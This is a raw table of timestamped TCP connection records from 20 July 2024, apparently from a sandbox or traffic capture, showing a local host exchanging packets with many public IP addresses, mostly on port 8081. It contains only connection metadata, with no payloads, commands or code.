Jul 20, 2024 23:10:40.750616074 CEST	8081	54888	51.24.196.130	192.168.2.15
Jul 20, 2024 23:10:40.750628948 CEST	8081	41140	114.162.118.100	192.168.2.15
Jul 20, 2024 23:10:40.750642061 CEST	8081	44882	101.137.132.47	192.168.2.15
Jul 20, 2024 23:10:40.750667095 CEST	80	52718	88.125.105.239	192.168.2.15
Jul 20, 2024 23:10:40.750679970 CEST	8081	42372	217.134.215.166	192.168.2.15
Jul 20, 2024 23:10:40.750713110 CEST	80	41680	88.235.245.133	192.168.2.15
Jul 20, 2024 23:10:40.750726938 CEST	8081	49052	221.249.213.24	192.168.2.15
Jul 20, 2024 23:10:40.750739098 CEST	8081	58768	141.59.125.252	192.168.2.15
Jul 20, 2024 23:10:40.750751972 CEST	8081	58768	115.136.116.150	192.168.2.15
Jul 20, 2024 23:10:40.750763893 CEST	8081	58768	223.122.108.140	192.168.2.15
Jul 20, 2024 23:10:40.750777006 CEST	8081	58768	130.20.71.164	192.168.2.15
Jul 20, 2024 23:10:40.750790119 CEST	8081	58768	210.50.170.143	192.168.2.15
Jul 20, 2024 23:10:40.750802040 CEST	8081	58768	86.165.179.89	192.168.2.15
Jul 20, 2024 23:10:40.750817060 CEST	8081	58768	105.186.181.31	192.168.2.15
Jul 20, 2024 23:10:40.750839949 CEST	8081	58768	84.247.153.189	192.168.2.15
Jul 20, 2024 23:10:40.750853062 CEST	8081	58768	164.135.13.202	192.168.2.15
Jul 20, 2024 23:10:40.751234055 CEST	49186	8081	192.168.2.15	37.108.224.54
Jul 20, 2024 23:10:40.751234055 CEST	34174	8081	192.168.2.15	105.84.133.237
Jul 20, 2024 23:10:40.751234055 CEST	55050	8081	192.168.2.15	162.48.242.129
Jul 20, 2024 23:10:40.751234055 CEST	59602	8081	192.168.2.15	131.100.82.185
Jul 20, 2024 23:10:40.751234055 CEST	53802	8081	192.168.2.15	9.112.0.108
Jul 20, 2024 23:10:40.751234055 CEST	42602	8081	192.168.2.15	144.250.77.69
Jul 20, 2024 23:10:40.751234055 CEST	51798	8081	192.168.2.15	64.52.71.132
Jul 20, 2024 23:10:40.751235008 CEST	58768	8081	192.168.2.15	210.50.170.143
Jul 20, 2024 23:10:40.751396894 CEST	58768	8081	192.168.2.15	73.225.4.52
Jul 20, 2024 23:10:40.751396894 CEST	53888	8081	192.168.2.15	32.161.26.237
Jul 20, 2024 23:10:40.751396894 CEST	36542	8081	192.168.2.15	206.153.77.196
Jul 20, 2024 23:10:40.751396894 CEST	47672	8081	192.168.2.15	104.81.53.73
Jul 20, 2024 23:10:40.751396894 CEST	37838	8081	192.168.2.15	218.197.253.52
Jul 20, 2024 23:10:40.751396894 CEST	33234	8081	192.168.2.15	59.46.78.137
Jul 20, 2024 23:10:40.751396894 CEST	43176	8081	192.168.2.15	213.200.213.234
Jul 20, 2024 23:10:40.753381968 CEST	58768	8081	192.168.2.15	130.20.71.164
Jul 20, 2024 23:10:40.753381968 CEST	58768	8081	192.168.2.15	105.186.181.31
Jul 20, 2024 23:10:40.754175901 CEST	47062	8081	192.168.2.15	42.75.70.65
Jul 20, 2024 23:10:40.754175901 CEST	53724	8081	192.168.2.15	196.239.70.8
Jul 20, 2024 23:10:40.754175901 CEST	39714	8081	192.168.2.15	38.56.107.193
Jul 20, 2024 23:10:40.754175901 CEST	40388	8081	192.168.2.15	188.77.70.4
Jul 20, 2024 23:10:40.754175901 CEST	42354	8081	192.168.2.15	65.144.4.91
Jul 20, 2024 23:10:40.754175901 CEST	47412	8081	192.168.2.15	120.75.38.85
Jul 20, 2024 23:10:40.754175901 CEST	58768	8081	192.168.2.15	141.59.125.252
Jul 20, 2024 23:10:40.754175901 CEST	58768	8081	192.168.2.15	115.136.116.150
Jul 20, 2024 23:10:40.755284071 CEST	58768	8081	192.168.2.15	61.52.21.214
Jul 20, 2024 23:10:40.755284071 CEST	58768	8081	192.168.2.15	117.248.83.145
Jul 20, 2024 23:10:40.755284071 CEST	58768	8081	192.168.2.15	202.180.27.155
Jul 20, 2024 23:10:40.755284071 CEST	58768	8081	192.168.2.15	183.146.79.152
Jul 20, 2024 23:10:40.755284071 CEST	58768	8081	192.168.2.15	196.6.225.93
Jul 20, 2024 23:10:40.755284071 CEST	58768	8081	192.168.2.15	141.199.21.147
Jul 20, 2024 23:10:40.755284071 CEST	58768	8081	192.168.2.15	14.183.60.217
Jul 20, 2024 23:10:40.756719112 CEST	58396	8081	192.168.2.15	53.134.227.78
Jul 20, 2024 23:10:40.756719112 CEST	55798	8081	192.168.2.15	24.230.85.184
Jul 20, 2024 23:10:40.756719112 CEST	59598	8081	192.168.2.15	39.109.155.171
Jul 20, 2024 23:10:40.756719112 CEST	56476	8081	192.168.2.15	62.94.176.238
Jul 20, 2024 23:10:40.756719112 CEST	58768	8081	192.168.2.15	152.14.16.222
Jul 20, 2024 23:10:40.756719112 CEST	58768	8081	192.168.2.15	19.139.27.143
Jul 20, 2024 23:10:40.756719112 CEST	58768	8081	192.168.2.15	80.159.218.69
Jul 20, 2024 23:10:40.756719112 CEST	58768	8081	192.168.2.15	217.74.192.205
Jul 20, 2024 23:10:40.757503986 CEST	8081	58768	23.81.170.154	192.168.2.15
Jul 20, 2024 23:10:40.757561922 CEST	8081	43096	41.237.164.109	192.168.2.15
Jul 20, 2024 23:10:40.757586956 CEST	8081	38696	59.207.243.209	192.168.2.15
Jul 20, 2024 23:10:40.757599115 CEST	8081	37978	124.101.153.157	192.168.2.15
Jul 20, 2024 23:10:40.757602930 CEST	58768	8081	192.168.2.15	164.135.13.202
Jul 20, 2024 23:10:40.757602930 CEST	58768	8081	192.168.2.15	23.81.170.154
Jul 20, 2024 23:10:40.757637024 CEST	80	50818	88.81.127.213	192.168.2.15
Jul 20, 2024 23:10:40.757649899 CEST	8081	39542	72.232.56.222	192.168.2.15
Jul 20, 2024 23:10:40.757680893 CEST	8081	58972	98.210.157.20	192.168.2.15
Jul 20, 2024 23:10:40.757702112 CEST	8081	42452	126.247.185.111	192.168.2.15
Jul 20, 2024 23:10:40.757735968 CEST	8081	45158	118.85.135.168	192.168.2.15
Jul 20, 2024 23:10:40.757749081 CEST	8081	53560	117.195.60.70	192.168.2.15
Jul 20, 2024 23:10:40.757761955 CEST	8081	34158	197.24.195.37	192.168.2.15
Jul 20, 2024 23:10:40.757775068 CEST	8081	35766	220.76.9.69	192.168.2.15
Jul 20, 2024 23:10:40.757795095 CEST	8081	38708	18.172.107.182	192.168.2.15
Jul 20, 2024 23:10:40.757807970 CEST	8081	52796	73.161.3.148	192.168.2.15
Jul 20, 2024 23:10:40.757821083 CEST	8081	35398	59.64.211.16	192.168.2.15
Jul 20, 2024 23:10:40.757833004 CEST	8081	54782	109.254.234.165	192.168.2.15
Jul 20, 2024 23:10:40.757844925 CEST	8081	48218	100.144.235.237	192.168.2.15
Jul 20, 2024 23:10:40.757858038 CEST	8081	52202	151.248.207.192	192.168.2.15
Jul 20, 2024 23:10:40.757869005 CEST	8081	38846	124.101.153.157	192.168.2.15
Jul 20, 2024 23:10:40.757882118 CEST	8081	58768	25.194.15.87	192.168.2.15
Jul 20, 2024 23:10:40.757894039 CEST	8081	58768	186.237.75.217	192.168.2.15
Jul 20, 2024 23:10:40.757929087 CEST	8081	53418	20.18.13.70	192.168.2.15
Jul 20, 2024 23:10:40.757950068 CEST	80	45130	88.159.165.167	192.168.2.15
Jul 20, 2024 23:10:40.757963896 CEST	8081	58768	130.211.22.164	192.168.2.15
Jul 20, 2024 23:10:40.757977009 CEST	8081	58768	135.132.154.192	192.168.2.15
Jul 20, 2024 23:10:40.757988930 CEST	8081	58768	220.14.85.4	192.168.2.15
Jul 20, 2024 23:10:40.758001089 CEST	8081	58768	78.194.190.24	192.168.2.15
Jul 20, 2024 23:10:40.758013964 CEST	8081	58768	104.41.230.212	192.168.2.15
Jul 20, 2024 23:10:40.758018017 CEST	58768	8081	192.168.2.15	186.237.75.217
Jul 20, 2024 23:10:40.758018017 CEST	58768	8081	192.168.2.15	135.132.154.192
Jul 20, 2024 23:10:40.758027077 CEST	8081	58768	204.37.242.107	192.168.2.15
Jul 20, 2024 23:10:40.758040905 CEST	8081	58768	64.243.120.108	192.168.2.15
Jul 20, 2024 23:10:40.758053064 CEST	8081	58768	73.225.75.236	192.168.2.15
Jul 20, 2024 23:10:40.758064985 CEST	8081	58768	129.216.3.103	192.168.2.15
Jul 20, 2024 23:10:40.758078098 CEST	8081	58768	206.54.153.3	192.168.2.15
Jul 20, 2024 23:10:40.758090019 CEST	8081	58768	128.149.192.241	192.168.2.15
Jul 20, 2024 23:10:40.758101940 CEST	8081	58768	52.108.3.248	192.168.2.15
Jul 20, 2024 23:10:40.758116961 CEST	8081	58768	20.252.37.121	192.168.2.15
Jul 20, 2024 23:10:40.758128881 CEST	8081	58768	189.147.72.59	192.168.2.15
Jul 20, 2024 23:10:40.758141994 CEST	8081	58768	106.153.202.204	192.168.2.15
Jul 20, 2024 23:10:40.758153915 CEST	8081	58768	201.36.1.188	192.168.2.15
Jul 20, 2024 23:10:40.758326054 CEST	8081	58768	97.104.234.185	192.168.2.15
Jul 20, 2024 23:10:40.758384943 CEST	8081	58768	58.234.226.65	192.168.2.15
Jul 20, 2024 23:10:40.758398056 CEST	8081	58768	5.156.113.153	192.168.2.15
Jul 20, 2024 23:10:40.758410931 CEST	8081	58768	134.244.27.93	192.168.2.15
Jul 20, 2024 23:10:40.758425951 CEST	8081	58768	96.165.121.82	192.168.2.15
Jul 20, 2024 23:10:40.758500099 CEST	8081	58768	34.247.152.40	192.168.2.15
Jul 20, 2024 23:10:40.758512974 CEST	8081	58768	207.97.208.80	192.168.2.15
Jul 20, 2024 23:10:40.758573055 CEST	8081	58768	190.215.217.84	192.168.2.15
Jul 20, 2024 23:10:40.758586884 CEST	8081	58768	85.57.197.58	192.168.2.15
Jul 20, 2024 23:10:40.758599043 CEST	8081	58768	183.200.39.140	192.168.2.15
Jul 20, 2024 23:10:40.758615017 CEST	8081	58768	125.52.12.96	192.168.2.15
Jul 20, 2024 23:10:40.758626938 CEST	8081	58768	58.116.133.53	192.168.2.15
Jul 20, 2024 23:10:40.758641005 CEST	8081	58768	157.139.137.162	192.168.2.15
Jul 20, 2024 23:10:40.758654118 CEST	8081	58768	201.101.165.238	192.168.2.15
Jul 20, 2024 23:10:40.758666039 CEST	8081	58768	34.51.131.77	192.168.2.15
Jul 20, 2024 23:10:40.758678913 CEST	8081	58768	146.223.232.69	192.168.2.15
Jul 20, 2024 23:10:40.758691072 CEST	8081	58768	203.60.238.203	192.168.2.15
Jul 20, 2024 23:10:40.758702993 CEST	8081	58768	17.201.98.7	192.168.2.15
Jul 20, 2024 23:10:40.758717060 CEST	8081	58768	95.159.98.117	192.168.2.15
Jul 20, 2024 23:10:40.758739948 CEST	8081	58768	145.144.172.93	192.168.2.15
Jul 20, 2024 23:10:40.758754015 CEST	8081	58768	59.240.89.110	192.168.2.15
Jul 20, 2024 23:10:40.758805990 CEST	8081	58768	208.8.39.113	192.168.2.15
Jul 20, 2024 23:10:40.758830070 CEST	8081	58768	173.167.24.129	192.168.2.15
Jul 20, 2024 23:10:40.758842945 CEST	8081	58768	112.246.87.106	192.168.2.15
Jul 20, 2024 23:10:40.758855104 CEST	8081	58768	24.122.141.11	192.168.2.15
Jul 20, 2024 23:10:40.758867979 CEST	8081	58768	92.61.216.254	192.168.2.15
Jul 20, 2024 23:10:40.758881092 CEST	8081	58768	135.183.120.153	192.168.2.15
Jul 20, 2024 23:10:40.758893967 CEST	8081	58768	99.99.148.158	192.168.2.15
Jul 20, 2024 23:10:40.758905888 CEST	8081	58768	89.60.192.132	192.168.2.15
Jul 20, 2024 23:10:40.758919001 CEST	8081	58768	5.183.239.29	192.168.2.15
Jul 20, 2024 23:10:40.758944035 CEST	8081	58768	151.8.168.204	192.168.2.15
Jul 20, 2024 23:10:40.758955956 CEST	8081	58768	195.223.255.220	192.168.2.15
Jul 20, 2024 23:10:40.758968115 CEST	8081	58768	193.172.78.86	192.168.2.15
Jul 20, 2024 23:10:40.759146929 CEST	39632	8081	192.168.2.15	124.113.55.225
Jul 20, 2024 23:10:40.759146929 CEST	48822	8081	192.168.2.15	151.208.135.249
Jul 20, 2024 23:10:40.759146929 CEST	33168	8081	192.168.2.15	60.13.47.181
Jul 20, 2024 23:10:40.759146929 CEST	42984	8081	192.168.2.15	101.27.114.183
Jul 20, 2024 23:10:40.759146929 CEST	60592	8081	192.168.2.15	103.141.108.85
Jul 20, 2024 23:10:40.759146929 CEST	43740	8081	192.168.2.15	156.118.202.241
Jul 20, 2024 23:10:40.759146929 CEST	44624	8081	192.168.2.15	218.163.113.131
Jul 20, 2024 23:10:40.759146929 CEST	58298	8081	192.168.2.15	13.15.212.143
Jul 20, 2024 23:10:40.759838104 CEST	8081	58768	138.230.212.210	192.168.2.15
Jul 20, 2024 23:10:40.759993076 CEST	58768	8081	192.168.2.15	25.194.15.87
Jul 20, 2024 23:10:40.759993076 CEST	58768	8081	192.168.2.15	204.37.242.107
Jul 20, 2024 23:10:40.759993076 CEST	58768	8081	192.168.2.15	73.225.75.236
Jul 20, 2024 23:10:40.759993076 CEST	58768	8081	192.168.2.15	106.153.202.204
Jul 20, 2024 23:10:40.759993076 CEST	58768	8081	192.168.2.15	97.104.234.185
Jul 20, 2024 23:10:40.759993076 CEST	58768	8081	192.168.2.15	134.244.27.93
Jul 20, 2024 23:10:40.759993076 CEST	58768	8081	192.168.2.15	85.57.197.58
Jul 20, 2024 23:10:40.759993076 CEST	58768	8081	192.168.2.15	125.52.12.96
Jul 20, 2024 23:10:40.760015965 CEST	8081	58768	23.40.94.173	192.168.2.15
Jul 20, 2024 23:10:40.760360003 CEST	58768	8081	192.168.2.15	78.194.190.24
Jul 20, 2024 23:10:40.760360003 CEST	58768	8081	192.168.2.15	206.54.153.3
Jul 20, 2024 23:10:40.760360003 CEST	58768	8081	192.168.2.15	52.108.3.248
Jul 20, 2024 23:10:40.760360003 CEST	58768	8081	192.168.2.15	189.147.72.59
Jul 20, 2024 23:10:40.760360003 CEST	58768	8081	192.168.2.15	5.156.113.153
Jul 20, 2024 23:10:40.760360003 CEST	58768	8081	192.168.2.15	207.97.208.80
Jul 20, 2024 23:10:40.760360003 CEST	58768	8081	192.168.2.15	183.200.39.140
Jul 20, 2024 23:10:40.760360003 CEST	58768	8081	192.168.2.15	58.116.133.53
Jul 20, 2024 23:10:40.760396957 CEST	8081	58768	13.143.158.46	192.168.2.15
Jul 20, 2024 23:10:40.760411024 CEST	8081	58768	146.86.115.43	192.168.2.15
Jul 20, 2024 23:10:40.761157036 CEST	58768	8081	192.168.2.15	223.122.108.140
Jul 20, 2024 23:10:40.761157036 CEST	58768	8081	192.168.2.15	86.165.179.89
Jul 20, 2024 23:10:40.761157990 CEST	58768	8081	192.168.2.15	84.247.153.189
Jul 20, 2024 23:10:40.761157990 CEST	58768	8081	192.168.2.15	130.211.22.164
Jul 20, 2024 23:10:40.761157990 CEST	58768	8081	192.168.2.15	220.14.85.4
Jul 20, 2024 23:10:40.761157990 CEST	58768	8081	192.168.2.15	104.41.230.212
Jul 20, 2024 23:10:40.761157990 CEST	58768	8081	192.168.2.15	64.243.120.108
Jul 20, 2024 23:10:40.761182070 CEST	8081	58768	61.52.21.214	192.168.2.15
Jul 20, 2024 23:10:40.761295080 CEST	8081	58768	27.7.180.67	192.168.2.15
Jul 20, 2024 23:10:40.761668921 CEST	8081	58768	117.248.83.145	192.168.2.15
Jul 20, 2024 23:10:40.761863947 CEST	8081	58768	23.67.75.86	192.168.2.15
Jul 20, 2024 23:10:40.762953997 CEST	8081	58768	45.183.255.200	192.168.2.15
Jul 20, 2024 23:10:40.764028072 CEST	58768	8081	192.168.2.15	1.190.94.2
Jul 20, 2024 23:10:40.764028072 CEST	58768	8081	192.168.2.15	123.167.210.68
Jul 20, 2024 23:10:40.764028072 CEST	58768	8081	192.168.2.15	140.121.70.207
Jul 20, 2024 23:10:40.764028072 CEST	58768	8081	192.168.2.15	212.203.173.11
Jul 20, 2024 23:10:40.764028072 CEST	58768	8081	192.168.2.15	19.68.158.193
Jul 20, 2024 23:10:40.764028072 CEST	58768	8081	192.168.2.15	177.110.121.11
Jul 20, 2024 23:10:40.764028072 CEST	58768	8081	192.168.2.15	147.173.25.41
Jul 20, 2024 23:10:40.764028072 CEST	58768	8081	192.168.2.15	13.216.165.5
Jul 20, 2024 23:10:40.764060020 CEST	8081	58768	202.180.27.155	192.168.2.15
Jul 20, 2024 23:10:40.764281988 CEST	8081	58768	159.165.93.78	192.168.2.15
Jul 20, 2024 23:10:40.764307022 CEST	58768	8081	192.168.2.15	157.139.137.162
Jul 20, 2024 23:10:40.764307022 CEST	58768	8081	192.168.2.15	34.51.131.77
Jul 20, 2024 23:10:40.764307022 CEST	58768	8081	192.168.2.15	203.60.238.203
Jul 20, 2024 23:10:40.764307022 CEST	58768	8081	192.168.2.15	95.159.98.117
Jul 20, 2024 23:10:40.764307022 CEST	58768	8081	192.168.2.15	92.61.216.254
Jul 20, 2024 23:10:40.764307022 CEST	58768	8081	192.168.2.15	99.99.148.158
Jul 20, 2024 23:10:40.764307022 CEST	58768	8081	192.168.2.15	5.183.239.29
Jul 20, 2024 23:10:40.764307022 CEST	58768	8081	192.168.2.15	195.223.255.220
Jul 20, 2024 23:10:40.764499903 CEST	8081	58768	183.146.79.152	192.168.2.15
Jul 20, 2024 23:10:40.764884949 CEST	8081	46196	95.67.212.64	192.168.2.15
Jul 20, 2024 23:10:40.764945030 CEST	8081	44384	73.57.192.131	192.168.2.15
Jul 20, 2024 23:10:40.764981031 CEST	8081	58892	195.62.101.45	192.168.2.15
Jul 20, 2024 23:10:40.764993906 CEST	8081	48948	139.207.225.210	192.168.2.15
Jul 20, 2024 23:10:40.765052080 CEST	8081	45888	116.99.52.164	192.168.2.15
Jul 20, 2024 23:10:40.765064955 CEST	8081	38776	143.93.205.194	192.168.2.15
Jul 20, 2024 23:10:40.765085936 CEST	8081	56086	130.64.237.83	192.168.2.15
Jul 20, 2024 23:10:40.765100956 CEST	8081	38262	99.223.164.124	192.168.2.15
Jul 20, 2024 23:10:40.765157938 CEST	8081	40370	158.147.222.64	192.168.2.15
Jul 20, 2024 23:10:40.765259027 CEST	8081	53838	102.109.43.7	192.168.2.15
Jul 20, 2024 23:10:40.765300989 CEST	8081	36990	76.56.5.73	192.168.2.15
Jul 20, 2024 23:10:40.765314102 CEST	8081	36882	66.46.202.106	192.168.2.15
Jul 20, 2024 23:10:40.765337944 CEST	8081	49920	221.249.213.24	192.168.2.15
Jul 20, 2024 23:10:40.765350103 CEST	8081	59910	107.127.227.178	192.168.2.15
Jul 20, 2024 23:10:40.765362978 CEST	8081	42164	19.32.100.158	192.168.2.15
Jul 20, 2024 23:10:40.765393972 CEST	8081	47970	23.165.201.101	192.168.2.15
Jul 20, 2024 23:10:40.765419960 CEST	80	35698	88.239.113.189	192.168.2.15
Jul 20, 2024 23:10:40.765431881 CEST	8081	45876	211.111.42.56	192.168.2.15
Jul 20, 2024 23:10:40.765444040 CEST	8081	54282	20.18.13.70	192.168.2.15
Jul 20, 2024 23:10:40.765464067 CEST	8081	36512	138.82.251.248	192.168.2.15
Jul 20, 2024 23:10:40.765476942 CEST	8081	52160	96.174.40.204	192.168.2.15
Jul 20, 2024 23:10:40.765506983 CEST	8081	47348	191.77.173.179	192.168.2.15
Jul 20, 2024 23:10:40.765528917 CEST	8081	44272	104.127.16.83	192.168.2.15
Jul 20, 2024 23:10:40.765541077 CEST	8081	41232	54.87.78.53	192.168.2.15
Jul 20, 2024 23:10:40.765552998 CEST	8081	58768	1.192.176.226	192.168.2.15
Jul 20, 2024 23:10:40.765575886 CEST	8081	56338	63.16.209.243	192.168.2.15
Jul 20, 2024 23:10:40.765597105 CEST	8081	48530	220.172.168.137	192.168.2.15
Jul 20, 2024 23:10:40.765609980 CEST	8081	39642	39.240.154.144	192.168.2.15
Jul 20, 2024 23:10:40.765621901 CEST	8081	40238	182.138.162.230	192.168.2.15
Jul 20, 2024 23:10:40.765635014 CEST	8081	43536	112.36.161.183	192.168.2.15
Jul 20, 2024 23:10:40.765646935 CEST	8081	39914	122.95.43.153	192.168.2.15
Jul 20, 2024 23:10:40.765660048 CEST	8081	51870	109.43.3.47	192.168.2.15
Jul 20, 2024 23:10:40.765671968 CEST	8081	47722	125.94.214.213	192.168.2.15
Jul 20, 2024 23:10:40.765683889 CEST	8081	58396	53.134.227.78	192.168.2.15
Jul 20, 2024 23:10:40.765696049 CEST	8081	48444	79.84.60.251	192.168.2.15
Jul 20, 2024 23:10:40.765708923 CEST	8081	58182	98.32.247.128	192.168.2.15
Jul 20, 2024 23:10:40.765721083 CEST	8081	54530	193.51.219.44	192.168.2.15
Jul 20, 2024 23:10:40.765733957 CEST	8081	56490	97.242.235.89	192.168.2.15
Jul 20, 2024 23:10:40.765746117 CEST	8081	41348	31.8.205.246	192.168.2.15
Jul 20, 2024 23:10:40.765768051 CEST	8081	47180	88.123.57.1	192.168.2.15
Jul 20, 2024 23:10:40.765780926 CEST	8081	37720	139.20.180.119	192.168.2.15
Jul 20, 2024 23:10:40.765794992 CEST	8081	41800	89.94.228.2	192.168.2.15
Jul 20, 2024 23:10:40.765806913 CEST	8081	58556	93.134.175.245	192.168.2.15
Jul 20, 2024 23:10:40.765820026 CEST	8081	39552	193.73.82.86	192.168.2.15
Jul 20, 2024 23:10:40.765831947 CEST	8081	59190	47.109.125.162	192.168.2.15
Jul 20, 2024 23:10:40.765846014 CEST	8081	49692	129.96.11.55	192.168.2.15
Jul 20, 2024 23:10:40.765897036 CEST	8081	34096	52.121.158.13	192.168.2.15
Jul 20, 2024 23:10:40.765907049 CEST	58768	8081	192.168.2.15	201.101.165.238
Jul 20, 2024 23:10:40.765907049 CEST	58768	8081	192.168.2.15	17.201.98.7
Jul 20, 2024 23:10:40.765907049 CEST	58768	8081	192.168.2.15	145.144.172.93
Jul 20, 2024 23:10:40.765907049 CEST	58768	8081	192.168.2.15	24.122.141.11
Jul 20, 2024 23:10:40.765907049 CEST	58768	8081	192.168.2.15	135.183.120.153
Jul 20, 2024 23:10:40.765907049 CEST	58768	8081	192.168.2.15	89.60.192.132
Jul 20, 2024 23:10:40.765907049 CEST	58768	8081	192.168.2.15	151.8.168.204
Jul 20, 2024 23:10:40.765907049 CEST	38262	8081	192.168.2.15	99.223.164.124
Jul 20, 2024 23:10:40.765914917 CEST	8081	59990	140.197.167.36	192.168.2.15
Jul 20, 2024 23:10:40.765933037 CEST	8081	52348	220.85.17.7	192.168.2.15
Jul 20, 2024 23:10:40.765945911 CEST	8081	53190	136.254.84.193	192.168.2.15
Jul 20, 2024 23:10:40.765969992 CEST	8081	43396	212.35.10.142	192.168.2.15
Jul 20, 2024 23:10:40.765984058 CEST	8081	43244	217.134.215.166	192.168.2.15
Jul 20, 2024 23:10:40.766005993 CEST	8081	60790	128.22.65.203	192.168.2.15
Jul 20, 2024 23:10:40.766017914 CEST	8081	60550	70.244.198.153	192.168.2.15
Jul 20, 2024 23:10:40.766030073 CEST	8081	35438	9.154.150.75	192.168.2.15
Jul 20, 2024 23:10:40.766042948 CEST	8081	36800	9.175.217.225	192.168.2.15
Jul 20, 2024 23:10:40.766058922 CEST	8081	47164	103.43.41.37	192.168.2.15
Jul 20, 2024 23:10:40.766071081 CEST	58768	8081	192.168.2.15	129.216.3.103
Jul 20, 2024 23:10:40.766071081 CEST	58768	8081	192.168.2.15	128.149.192.241
Jul 20, 2024 23:10:40.766071081 CEST	58768	8081	192.168.2.15	20.252.37.121
Jul 20, 2024 23:10:40.766071081 CEST	58768	8081	192.168.2.15	201.36.1.188
Jul 20, 2024 23:10:40.766071081 CEST	58768	8081	192.168.2.15	58.234.226.65
Jul 20, 2024 23:10:40.766071081 CEST	58768	8081	192.168.2.15	96.165.121.82
Jul 20, 2024 23:10:40.766071081 CEST	58768	8081	192.168.2.15	34.247.152.40
Jul 20, 2024 23:10:40.766071081 CEST	58768	8081	192.168.2.15	190.215.217.84
Jul 20, 2024 23:10:40.766076088 CEST	8081	57836	73.50.217.173	192.168.2.15
Jul 20, 2024 23:10:40.766089916 CEST	8081	59364	95.238.91.109	192.168.2.15
Jul 20, 2024 23:10:40.766102076 CEST	8081	52388	133.51.42.64	192.168.2.15
Jul 20, 2024 23:10:40.766124964 CEST	8081	38846	124.101.153.157	192.168.2.15
Jul 20, 2024 23:10:40.766138077 CEST	8081	52202	151.248.207.192	192.168.2.15
Jul 20, 2024 23:10:40.766149998 CEST	8081	48218	100.144.235.237	192.168.2.15
Jul 20, 2024 23:10:40.766163111 CEST	8081	54782	109.254.234.165	192.168.2.15
Jul 20, 2024 23:10:40.766175032 CEST	8081	35398	59.64.211.16	192.168.2.15
Jul 20, 2024 23:10:40.766196012 CEST	8081	52796	73.161.3.148	192.168.2.15
Jul 20, 2024 23:10:40.766208887 CEST	8081	38708	18.172.107.182	192.168.2.15
Jul 20, 2024 23:10:40.766225100 CEST	8081	35766	220.76.9.69	192.168.2.15
Jul 20, 2024 23:10:40.766252041 CEST	8081	34158	197.24.195.37	192.168.2.15
Jul 20, 2024 23:10:40.766355038 CEST	8081	53560	117.195.60.70	192.168.2.15
Jul 20, 2024 23:10:40.766367912 CEST	8081	45158	118.85.135.168	192.168.2.15
Jul 20, 2024 23:10:40.766427994 CEST	8081	42452	126.247.185.111	192.168.2.15
Jul 20, 2024 23:10:40.766441107 CEST	8081	58972	98.210.157.20	192.168.2.15
Jul 20, 2024 23:10:40.766452074 CEST	8081	39542	72.232.56.222	192.168.2.15
Jul 20, 2024 23:10:40.766470909 CEST	8081	38696	59.207.243.209	192.168.2.15
Jul 20, 2024 23:10:40.766483068 CEST	8081	43096	41.237.164.109	192.168.2.15
Jul 20, 2024 23:10:40.767565966 CEST	58768	8081	192.168.2.15	197.6.76.207
Jul 20, 2024 23:10:40.767565966 CEST	58768	8081	192.168.2.15	124.248.253.36
Jul 20, 2024 23:10:40.767565966 CEST	58768	8081	192.168.2.15	208.25.207.235
Jul 20, 2024 23:10:40.767565966 CEST	58768	8081	192.168.2.15	60.112.84.131
Jul 20, 2024 23:10:40.767565966 CEST	58768	8081	192.168.2.15	97.37.222.182
Jul 20, 2024 23:10:40.767565966 CEST	58768	8081	192.168.2.15	105.149.237.139
Jul 20, 2024 23:10:40.767565966 CEST	58768	8081	192.168.2.15	129.178.88.81
Jul 20, 2024 23:10:40.767565966 CEST	58768	8081	192.168.2.15	25.55.246.202
Jul 20, 2024 23:10:40.767705917 CEST	58768	8081	192.168.2.15	209.198.109.70
Jul 20, 2024 23:10:40.767705917 CEST	58768	8081	192.168.2.15	161.51.0.86
Jul 20, 2024 23:10:40.767705917 CEST	58768	8081	192.168.2.15	208.164.94.135
Jul 20, 2024 23:10:40.767705917 CEST	58768	8081	192.168.2.15	186.150.93.20
Jul 20, 2024 23:10:40.767705917 CEST	58768	8081	192.168.2.15	211.191.164.241
Jul 20, 2024 23:10:40.767705917 CEST	58768	8081	192.168.2.15	153.11.109.19
Jul 20, 2024 23:10:40.767705917 CEST	58768	8081	192.168.2.15	172.132.155.0
Jul 20, 2024 23:10:40.767705917 CEST	58768	8081	192.168.2.15	160.198.11.42
Jul 20, 2024 23:10:40.768012047 CEST	8081	58768	217.226.93.100	192.168.2.15
Jul 20, 2024 23:10:40.768784046 CEST	8081	58768	75.87.208.102	192.168.2.15
Jul 20, 2024 23:10:40.768835068 CEST	8081	58768	38.255.86.118	192.168.2.15
Jul 20, 2024 23:10:40.769148111 CEST	80	59866	88.218.105.251	192.168.2.15
Jul 20, 2024 23:10:40.769540071 CEST	8081	58768	1.190.94.2	192.168.2.15
Jul 20, 2024 23:10:40.770174026 CEST	58768	8081	192.168.2.15	193.172.78.86
Jul 20, 2024 23:10:40.770174026 CEST	46196	8081	192.168.2.15	95.67.212.64
Jul 20, 2024 23:10:40.770174026 CEST	41348	8081	192.168.2.15	31.8.205.246
Jul 20, 2024 23:10:40.770174026 CEST	39552	8081	192.168.2.15	193.73.82.86
Jul 20, 2024 23:10:40.770174026 CEST	49692	8081	192.168.2.15	129.96.11.55
Jul 20, 2024 23:10:40.770174980 CEST	59990	8081	192.168.2.15	140.197.167.36
Jul 20, 2024 23:10:40.770174980 CEST	53190	8081	192.168.2.15	136.254.84.193
Jul 20, 2024 23:10:40.770174980 CEST	60790	8081	192.168.2.15	128.22.65.203
Jul 20, 2024 23:10:40.771450996 CEST	37720	8081	192.168.2.15	139.20.180.119
Jul 20, 2024 23:10:40.771450996 CEST	43396	8081	192.168.2.15	212.35.10.142
Jul 20, 2024 23:10:40.771450996 CEST	35438	8081	192.168.2.15	9.154.150.75
Jul 20, 2024 23:10:40.771450996 CEST	47164	8081	192.168.2.15	103.43.41.37
Jul 20, 2024 23:10:40.771450996 CEST	59364	8081	192.168.2.15	95.238.91.109
Jul 20, 2024 23:10:40.771450996 CEST	38846	8081	192.168.2.15	124.101.153.157
Jul 20, 2024 23:10:40.771703005 CEST	8081	58768	196.6.225.93	192.168.2.15
Jul 20, 2024 23:10:40.771985054 CEST	8081	58768	141.199.21.147	192.168.2.15
Jul 20, 2024 23:10:40.772166967 CEST	8081	58768	164.157.90.48	192.168.2.15
Jul 20, 2024 23:10:40.772283077 CEST	8081	58768	125.200.141.22	192.168.2.15
Jul 20, 2024 23:10:40.772521973 CEST	8081	58768	14.183.60.217	192.168.2.15
Jul 20, 2024 23:10:40.773190022 CEST	8081	39632	124.113.55.225	192.168.2.15
Jul 20, 2024 23:10:40.773278952 CEST	8081	59598	39.109.155.171	192.168.2.15
Jul 20, 2024 23:10:40.773416042 CEST	58768	8081	192.168.2.15	146.223.232.69
